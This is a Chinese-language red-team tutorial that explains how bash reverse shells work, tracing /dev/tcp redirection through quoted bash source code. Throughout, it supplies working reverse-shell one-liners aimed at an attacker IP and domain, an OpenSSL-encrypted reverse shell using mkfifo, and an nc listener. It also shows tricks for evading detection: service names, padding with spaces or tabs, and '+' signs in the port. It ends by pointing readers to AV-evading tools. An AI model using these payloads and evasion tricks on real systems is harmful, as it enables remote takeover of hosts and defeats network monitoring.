我们一直以来,经常使用这样的Payload来进行反弹shell:
xxxxxxxxxx
bash -i >& /dev/tcp/host/port 0>&1
亦或是
xxxxxxxxxx
bash -c "bash -i >& /dev/tcp/host/port 0>&1"
但是各部分都代表什么意思呢?我们就来探索一下
在学习反弹shell之前,我们着重学习下文件描述符,这将对后面反弹shell的学习有一定的帮助。
格式: &> word >& word
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)
例如:
亦或是:
[n]<&[m] / [n]>&[m]
1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
产生一个bash
交互环境
将联合符号前面的内容与后面相结合,然后一起重定向给后者
让主机与攻击机ip:port建立TCP连接,这并不是一个真实存在的文件,然而却是文件的形式。那么现在就抛出了一个问题:Linux中并不存在这么一个文件,那么这其中是怎么工作的呢?我们后文再详细谈谈。
现在我们来做做实验,方便我们理解整个反弹shell的流程:
现在我们可以先来尝试利用这个东西来接受一些东西,比如:
受害者:
攻击机:
现在我们尝试在攻击机上输入点什么东西:
看看受害者:
会发现我们在攻击机上的输入被受害者读取到了!
现在我们成功让受害者接受到了我们的输入,但是我们更想把这个"shell"重定向到我们的攻击机上
为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
接着在受害者主机上输入点东西:
发现在受害者的shell中不会出现命令的回显结果了,而在攻击机这里
显示出了上面的命令的回显结果
现在我们又能获取命令的回显结果了,但是这样好像不太对劲,我们没办法操作目标主机执行我们的命令了
现在我们尝试操作目标主机:
受害者:
攻击机输入命令:
受害者:
那么能不能把上面的结合起来,既让受害者主机接收到攻击机发出的命令,又可以让攻击机收到受害者主机执行命令的结果呢?当然可以!
如果好好上过学校Linux课程的同学一定不陌生,在第三章的PPT中,我们就能看到这样的描述
那么0 1都是什么呢?其实在PPT里已经有了相关的描述:
于是就显而易见了,将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。
根据上面的知识,我们来组合一下:
bash -i > /dev/tcp/192.168.72.128/9900 0>&1
其含义为:
输入0是由/dev/tcp/192.168.72.128/9900 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.72.128/9900上,这就形成了一个回路,实现了我们远程交互式shell 的功能
但是这条语句真的完美吗?我们来看下终端的表现:
攻击机:
已经正常了,再看看受害者主机呢?
有点糟糕,我们的命令在对方的终端中还有体现。
那么我们还需要改进一下:
2>&1
,将正确与错误的输出都输出到一个地方去!
bash -i > /dev/tcp/192.168.72.128/9900 0>&1 2>&1
攻击机:
受害机:
可以发现此时就非常完美了。
当然也可以用这个>&
来代替
bash -i >& /dev/tcp/192.168.72.128/9900 0>&1
结合上面的分段内容,我们来总结一下
bash产生了一个交互环境与本地主机主动发起与目标主机port端口建立的连接(即TCP port会话连接)相结合,然后在重定向个tcp port会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境
我们一定都注意到这条命令的细节,永远是用bash
去做什么事。加入目标环境就没bash,那就有意思了
是的,纯sh环境会认为这是一个文件,然而bash却能正常的交互,为什么?我们来分析下bash是怎么做的
实际上,Bash在编译
的时候如果开启了这几个选项
HAVE_DEV_FD(控制是否支持 /dev/fd/[0-9]*) HAVE_DEV_STDIN(控制是否支持 /dev/stderr /dev/stdin /dev/stdout) NETWORK_REDIRECTIONS(控制是否支持 /dev/(tcp|udp)/*/*)
就会在重定向的时候支持下面的这些格式
xxxxxxxxxx
/dev/fd/[0-9]*
/dev/stderr
/dev/stdin
/dev/stdout
/dev/tcp/*/*
/dev/udp/*/*
我们不妨来看看源码,毕竟是底层篇
https://ftp.gnu.org/gnu/bash/
在 bash 打开重定向文件的时候,会先调用find_string_in_alist
判断这个被打开的文件完整名称是否匹配上述的六种模式,这个函数可以识别通配符,最终调用的是:strmatch
来判断字符串是否匹配
xxxxxxxxxx
static int
redir_open (filename, flags, mode, ri)
char *filename;
int flags, mode;
enum r_instruction ri;
{
int fd, r, e; r = find_string_in_alist (filename, _redir_special_filenames, 1);
if (r >= 0)
return (redir_special_open (r, filename, flags, mode, ri));
// ...
}
跟进这个find_string_in_alist
这个CLion给我跳转到这个头文件来了,幸亏上面有注释
继续去stringlib.c
里找find_string_in_alist
xxxxxxxxxx
int
find_string_in_alist (string, alist, flags)
char *string;
STRING_INT_ALIST *alist;
int flags;
{
register int i;
int r; for (i = r = 0; alist[i].word; i++)
{
#if defined (EXTENDED_GLOB)
if (flags)
r = strmatch (alist[i].word, string, FNM_EXTMATCH) != FNM_NOMATCH;//判断字符串是否匹配
else
#endif
r = STREQ (string, alist[i].word); if (r)
return (alist[i].token);
}
return -1;
}
看不懂的可以看下C语言中关于这个#if defined的用法,其实就是如果有对这个EXTENDED_GLOB的定义,就执行下面的代码,直到#endif为止
这里会对r进行赋值并返回,只要有定义r将>0,进入这个逻辑
xxxxxxxxxx
if (r >= 0)
return (redir_special_open (r, filename, flags, mode, ri));
该函数将用来打开这些特殊文件
xxxxxxxxxx
static int
redir_special_open (spec, filename, flags, mode, ri)
int spec;
char *filename;
int flags, mode;
enum r_instruction ri;
{
int fd;
#if !defined (HAVE_DEV_FD)
intmax_t lfd;
#endif fd = -1;
switch (spec)
{
#if !defined (HAVE_DEV_FD)
case RF_DEVFD:
if (all_digits (filename+8) && legal_number (filename+8, &lfd) && lfd == (int)lfd)
{
fd = lfd;
fd = fcntl (fd, F_DUPFD, SHELL_FD_BASE);
}
else
fd = AMBIGUOUS_REDIRECT;
break;
#endif#if !defined (HAVE_DEV_STDIN)
case RF_DEVSTDIN:
fd = fcntl (0, F_DUPFD, SHELL_FD_BASE);
break;
case RF_DEVSTDOUT:
fd = fcntl (1, F_DUPFD, SHELL_FD_BASE);
break;
case RF_DEVSTDERR:
fd = fcntl (2, F_DUPFD, SHELL_FD_BASE);
break;
#endif#if defined (NETWORK_REDIRECTIONS)
case RF_DEVTCP:
case RF_DEVUDP:
#if defined (RESTRICTED_SHELL)
if (restricted)
return (RESTRICTED_REDIRECT);
#endif
#if defined (HAVE_NETWORK)
fd = netopen (filename);
#else
internal_warning (_("/dev/(tcp|udp)/host/port not supported without networking"));
fd = open (filename, flags, mode);
#endif
break;
#endif /* NETWORK_REDIRECTIONS */
} return fd;
}
再具体怎么打开,那我们就不在追究了,太过于底层了。
其实在追踪下去就是调用的
netopen
这个函数,在lib/netopen.c
,再追究就是_netopen
应该会判断下IPV4还是IPV6,选择调用_netopen4
最后建立连接
netopen
xxxxxxxxxx
int netopen (path) char *path; { char *np, *s, *t; int fd; np = (char *)xmalloc (strlen (path) + 1); strcpy (np, path); s = np + 9; t = strchr (s, '/'); if (t == 0) { internal_error (_("%s: bad network path specification"), path); free (np); return -1; } *t++ = '\0'; fd = _netopen (s, t, path[5]); free (np); return fd; }
_netopen
xxxxxxxxxx
static int _netopen(host, serv, typ) char *host, *serv; int typ; { #ifdef HAVE_GETADDRINFO return (_netopen6 (host, serv, typ)); #else return (_netopen4 (host, serv, typ)); #endif }
_netopen4
xxxxxxxxxx
static int _netopen4(host, serv, typ) char *host, *serv; int typ; { struct in_addr ina; struct sockaddr_in sin; unsigned short p; int s, e; if (_getaddr(host, &ina) == 0) { internal_error (_("%s: host unknown"), host); errno = EINVAL; return -1; } if (_getserv(serv, typ, &p) == 0) { internal_error(_("%s: invalid service"), serv); errno = EINVAL; return -1; } // 后面带着大家用C/C++写一个反弹shell的程序时你还会见到这几个设置,到时候就会倍感亲切。 memset ((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = p; sin.sin_addr = ina; s = socket(AF_INET, (typ == 't') ? SOCK_STREAM : SOCK_DGRAM, 0); if (s < 0) { sys_error ("socket"); return (-1); } if (connect (s, (struct sockaddr *)&sin, sizeof (sin)) < 0) { e = errno; sys_error("connect"); close(s); errno = e; return (-1); } return(s); }
鬼扯扯远了,我们还是来看下最终的结论吧:
/dev/tcp/${HOST}/${PORT}
这个字符串看起来很像一个文件系统中的文件,并且位于/dev
这个设备文件夹下。但是:这个文件并不存在,而且并不是一个设备文件。这只是bash
实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入host
port
参数,就能发起一个socket
连接完全一样。
我不知道大家注意没注意过Linux的作业中有这么一个空
他说:此文件规定了服务和端口与通信协议的对应关系
那么我们在反弹shell的时候能否选择不去用数字来指定端口,而是以端口运行的服务名称来指定呢?
答案当然是可行的:
xxxxxxxxxx
cat /etc/services
随便找一个高位端口的服务名
反弹:
接受到了:
说不定可以破坏对方的反弹shell正则表达式
接着我们来深究下原理,还是那句话,底层篇看的就是原理,而非结果。
既然要发起TCP请求,就一定要解析出端口与地址,我们看下_netopen4
完整的代码在上面,这里只把重要的放在这
xxxxxxxxxx
static int
_netopen4(host, serv, typ)
char *host, *serv;
int typ;
{
struct in_addr ina;
struct sockaddr_in sin;
unsigned short p;
int s, e; if (_getaddr(host, &ina) == 0) //获取IP地址
{
internal_error (_("%s: host unknown"), host);
errno = EINVAL;
return -1;
} if (_getserv(serv, typ, &p) == 0) //获取端口号
{
internal_error(_("%s: invalid service"), serv);
errno = EINVAL;
return -1;
}
...
}
跟进_getserv()
xxxxxxxxxx
static int
_getserv (serv, proto, pp)
char *serv;
int proto;
unsigned short *pp;
{
intmax_t l;
unsigned short s; if (legal_number (serv, &l))
{
// 先将字符串转化为 long,这个操作其实是开发者为了开发方便
// 将判断字符串是否是一个合法的数字进行了封装
// 但是这里存在的问题是:在转换的时候没有注意表示范围(将表示范围提升了)
// 本身端口只需要两个字节来表示(0-65535)
// 但是这里先将数据提升成了 long 型,然后再 &0xffff 来确保这个数据是在两字节范围内的
// 这就存在溢出的问题
s = (unsigned short)(l & 0xFFFF);
if (s != l)
return (0);
s = htons (s);
if (pp)
*pp = s;
return 1;
}
else
#if defined (HAVE_GETSERVBYNAME)
{
struct servent *se; se = getservbyname (serv, (proto == 't') ? "tcp" : "udp");
if (se == 0)
return 0;
if (pp)
*pp = se->s_port; /* ports returned in network byte order */
return 1;
}
#else /* !HAVE_GETSERVBYNAME */
return 0;
#endif /* !HAVE_GETSERVBYNAME */
}
我们先跟进这个判断字符串是否为合法数字的函数examples/loadables/finfo.c
xxxxxxxxxx
int
legal_number (string, result)
char *string;
long *result;
{
int sign;
long value; sign = 1;
value = 0; if (result)
*result = 0; /* Skip leading whitespace characters. */
while (whitespace (*string))
string++; if (!*string)
return (0); /* We allow leading `-' or `+'. */
if (*string == '-' || *string == '+') //允许+
{
if (!digit (string[1]))
return (0); if (*string == '-')
sign = -1; string++;
} while (digit (*string))
{
if (result)
value = (value * 10) + digit_value (*string);
string++;
} /* Skip trailing whitespace, if any. */
while (whitespace (*string))
string++; /* Error if not at end of string. */
if (*string)
return (0); if (result)
*result = value * sign; return (1);
}
看到这个whitespace()
,我们看看Bash认为的空格都是什么:标准空格与TAB
xxxxxxxxxx
#define whitespace(c) (((c) == ' ') || ((c) == '\t'))
这里我们可以变形
xxxxxxxxxx
/dev/tcp/127.0.0.1/ 22 #空格
/dev/tcp/127.0.0.1/+22 #+
/dev/tcp/127.0.0.1/ 22 #TAB(这里我表示不出来TAB,只能用4个空格代替)
回过头,继续看,在_getserv()
如果不是合法的数字怎么办呢?
xxxxxxxxxx
else
#if defined (HAVE_GETSERVBYNAME)
{
struct servent *se; se = getservbyname (serv, (proto == 't') ? "tcp" : "udp");
if (se == 0)
return 0;
if (pp)
*pp = se->s_port; /* ports returned in network byte order */
return 1;
}
#else /* !HAVE_GETSERVBYNAME */
return 0;
#endif /* !HAVE_GETSERVBYNAME */
}
会发现调用了getservbyname
这个函数
我想不用再继续看代码也能知道这个函数是干什么了吧
这便是这个小Tips的来源
getservbyname
xxxxxxxxxx
#include <iostream> #include <netdb.h>int main() { struct servent *serv_info = NULL; serv_info = getservbyname("http","tcp"); if (serv_info != NULL) { printf("offical name:%s\n", serv_info->s_name);//打印 正式名 printf("port: %d\n", ntohs(serv_info->s_port)); // 打印端口 printf("protocol:%s\n", serv_info->s_proto); //打印协议 } }
前面这种方式的反弹shell,在流量设备大行其道的时代简直就是自杀式的存在。因此,我们需要一种可以流量加密的反弹shell来代替这种
生成证书:
xxxxxxxxxx
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
一路回车
服务端监听端口
xxxxxxxxxx
openssl s_server -quiet -key key.pem -cert cert.pem -port 9909
客户端
xxxxxxxxxx
mkfifo /tmp/s; /bin/sh -i /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s
收到请求:
反弹成功
把IP地址换成域名就行了
xxxxxxxxxx
bash -i >& /dev/tcp/redteam.wang/9900 0>&1
但前提是你的VPS需要绑定域名,这里以阿里云为例:
还有一堆利用各种方式反弹shell的,可以自行阅读,没必要再在这里展开了
其实说了这么多反弹shell的原理,最后就简单介绍下服务器端的NC吧,相信大家都有所了解
xxxxxxxxxx
nc -lvnp 9900
各个参数都是什么意思呢?
-l 开启监听 -p 指定一个端口 -v 显示详细输出 -e 指定对应的应用程序 -n nc不要DNS反向查询IP的域名 -z 连接成功后立即关闭连接
注意,在云服务器中需要指定-n参数,否则无法启动nc,原因也很简单
因为localhost.localdomain无法解析造成的
利用第三方工具来反弹shell的相关工具我在这里推荐两个
WINDOWS:据说100%过AV的反弹shell的Powershell脚本
Linux:用GO写的ICMP协议来反弹shell的脚本